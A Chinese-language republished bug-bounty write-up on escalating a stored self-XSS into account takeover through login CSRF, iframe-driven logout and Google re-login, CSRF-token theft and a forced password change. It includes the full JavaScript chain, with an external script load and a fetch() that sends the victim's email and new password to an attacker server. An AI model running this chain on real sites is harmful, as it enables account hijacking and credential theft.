您好,登錄后才能下訂單哦!
本篇文章給大家分享的是有關從存儲型self-XSS到最終實現賬號完全接管的示例分析,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
下面講述了作者從發現一個存儲型的self-XSS,到利用目標網站的一些錯誤配置和功能,最終實現目標網站賬號的完全接管。
漏洞利用過程概括如下:
發現存儲型的self-XSS
google登錄的csrf,登錄攻擊者的賬戶,將self-XSS轉變成good-XSS
登出攻擊者的賬戶
google登錄受害者的賬戶
竊取修改密碼的csrf令牌
修改受害者賬號密碼
發送到受害者的郵箱、密碼到攻擊者的服務器
在一個非公開漏洞賞金項目測試中,我在站點的個人簡介設置功能中發現了一個簡單的存儲型XSS。該功能操作大概是,當從本地上傳一張圖片時,圖片會被上傳到非當前的另一服務器上,接下來的一個請求會將服務器圖片地址保存到當前服務器上。我將該請求中的圖片地址所在的參數加上了一個簡單的XSS payload,類似這樣&imageurl=https://example.com“><script>alert(1)</script>,接下來每次我訪問個人簡介的時候都會有提示框彈出。但是這只是一個self-XSS,我需要使其能在受害者方執行才行。
之前我了解到該站點支持google登錄,那么可以使受害者通過訪問下面的html代碼登錄我自己的賬戶,接著在5秒后使受害者訪問賬號的個人簡介頁從而觸發存儲型XSS。代碼中的google登錄用到的TOKEN可以在本地登錄后抓取到,其有效期為一天,在有效期內發給受害者,受害者登錄后TOKEN會保持自動更新有效性。
<html> <body> <form action="https://example.com/en/login?accessToken=TOKEN" method="POST"> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); setTimeout(function(){window.location="https://example.com/USERNAME/edit";}, 5000) </script> </body> </html>
接著我在漏洞提交報告中闡述了以上的攻擊細節,在受害者觸發XSS之后攻擊者可以做一些社工操作竊取受害者的數據,由于受害者瀏覽器訪問的URL是同一網站的URL,這使得攻擊可信度更高。該漏洞利用受到了h2漏洞分揀員的贊賞,但是他希望我可以實現對受害者的賬戶執行XSS,這樣才能產生更高的影響。我想說這句話激勵到了我,我對此表示感激。
所以接下來的任務就是實現登錄受害者的賬戶并執行XSS。現在我比較好奇的是,如果受害者已經在網站登錄了他的google賬戶的情況下,我們是否還可以觸發XSS?答案是可以,我之前做了一些相關的研究和閱讀,這篇@emgeekboy0的writeup幫助了我很多。
如那篇writeup提到的,我們首先需要將賬戶登出。在這個網站的場景下登出賬戶并不是一個簡單的登出url就可以,而是還需要一個csrf令牌才可以登出。好在令牌就在站點源碼中,可以很簡單的通過XSS獲取。接著我在js代碼中通過加載一個iframe去實現賬戶的登出操作,代碼部署到了我的服務器上,XSS的payload相比之前也就更新成了“><script src=”https://myserver.com/exploit.js”></script>。
//getting logout url with csrf token from source //從源碼中獲取登出url使用到的csrf令牌 var y = JSON.parse(document.getElementById('conf').innerHTML); var url = y.user.link.logOut //First iframe to logout //第一個iframe用于登出賬號操作 var profileIframe = document.createElement('iframe'); profileIframe.setAttribute('src', 'https://example.com'+url); profileIframe.setAttribute('id', 'pi'); document.body.appendChild(profileIframe);
通過以上代碼可以將之前已經登陸的攻擊者賬戶登出,接下來需要通過google的登陸按鈕登陸受害者的賬戶,但是現在的問題是并沒有登陸google的url可用,唯一的方法就是點擊google的登陸按鈕。所以我開始研究javascript如何實現在DOM中點擊按鈕,并將其加入到腳本中。現在腳本整體功能稍顯復雜,具體過程是在之前已經創建的第一個iframe中加載另一個iframe,為了后者iframe可以加載完成,在等待30秒后再觸發其iframe中的DOM代碼點擊google登錄按鈕:
document.getElementById('pi').onload = function() { //second iframe to login to victims google account //第二個iframe用于登錄受害者的google賬號 var profileIframe1 = document.createElement('iframe'); profileIframe1.setAttribute('src', 'https://example.com/login'); profileIframe1.setAttribute('id', 'lo1'); document.body.appendChild(profileIframe1); //waiting for 30 seconds for the iframe to load properly //30秒等待iframe加載完成 document.getElementById('lo1').onload = function() { setTimeout(function(){ load() }, 30000) function load() { let iframe = document.getElementById('lo1'); let inner = iframe.contentDocument || iframe.contentWindow.document; //Clicked google login in iframe to login to victim //iframe中實現點擊google登錄按鈕,登錄受害者的賬戶 inner.getElementsByClassName("g_login")[1].click(); } } }
現在我們已經成功登錄了受害者賬戶,既然已經都這了何不再利用該站點的其它配置錯誤實現對受害者賬戶的完全接管。Cookies是帶有HttpOnly屬性的,所以竊取Cookies是行不通的。不過我們可以在設置中給google賬戶添加一個密碼,而且有趣的是添加新密碼并不需要舊密碼確認。所以現在我最后要做的是構造一個可以修改密碼的javascript腳本,為此我們需要解決下面兩個問題:
修改密碼需要不同的csrf令牌,令牌位于設置頁面的源碼中,我需要拿到令牌才可以修改密碼。
設置頁面的url大概是這樣的“https://example.com/user/setting”, 所以我需要拿到受害者賬號的賬號名,才能到配置頁拿到修改密碼的csrf令牌。
讀者是否記得上面提到的竊取用于登出操作的csrf令牌的地方,同時也是可以獲取用戶名的。接著下來為了獲取密碼修改的csrf令牌,我在之前創建的iframe中創建了又一個用于竊取令牌的iframe,代碼如下:
//wait 40 seconds to t login fully //等待40秒完全登錄 setTimeout(function(){ takeover() }, 40000) function takeover() { //Getting users parameters page url from source //從源碼中獲取賬戶名 let iframe_second = document.getElementById('lo1'); let inner1 = iframe_second.contentDocument || iframe_second.contentWindow.document; var z = JSON.parse(inner1.getElementById('conf').innerHTML); var param = z.user.link.parameter; // opens third iframe to steal csrf token for pass change //創建用于竊取用于修改密碼令牌的第三個iframe // Where param is like /user/settings //param值是/user/settings var profileIframe2 = document.createElement('iframe'); profileIframe1.setAttribute('src', 'https://example.com'+param); profileIframe1.setAttribute('id', 'lo2'); document.body.appendChild(profileIframe2); //waiting 50 seconds to let the third iframe load fully //等待50秒以便于讓第三個iframe可以加載完成 document.getElementById('lo2').onload = function() { setTimeout(function(){ csrf() }, 50000) //Stealing csrf token from parameters page //從設置頁面竊取csrf令牌 function csrf() { let iframe_csrf = document.getElementById('lo2'); let inner_csrf = iframe_csrf.contentDocument || iframe_csrf.contentWindow.document; var csrf = inner_csrf.getElementById("password__token").value; } } }
密碼修改用到的csrf令牌已拿到,只需要一個XMLHhttpRequest的POST請求就可以修改受害者賬戶的密碼:
//account takover //接管賬戶 var xhr = new XMLHttpRequest(); xhr.open("POST", "https://example.com"+param+"/password", true); xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded"); xhr.withCredentials = true; var body = "setNewPassword_first=passwordQ!&setNewPassword_second=passwordQ!&setNewPassword%5Bcreate%5D=&setNewPassword%5B_token%5D="+csrf; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody]));
不過就目前情況作為攻擊者來說,密碼已經修改,但是還需要獲取受害者的email賬號才行。幸運的是,用戶的email賬戶剛好存在該站點的localStorage中,接下來只需要用fetch函數將其發送到我的服務上:
fetch("https://myserver.com/email_password?=Email:"+localStorage.getItem('user_email')+" password:passwordQ!")
至此通過以上過程,完成了從存儲型self-XSS到賬戶的完全接管。
以上就是從存儲型self-XSS到最終實現賬號完全接管的示例分析,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。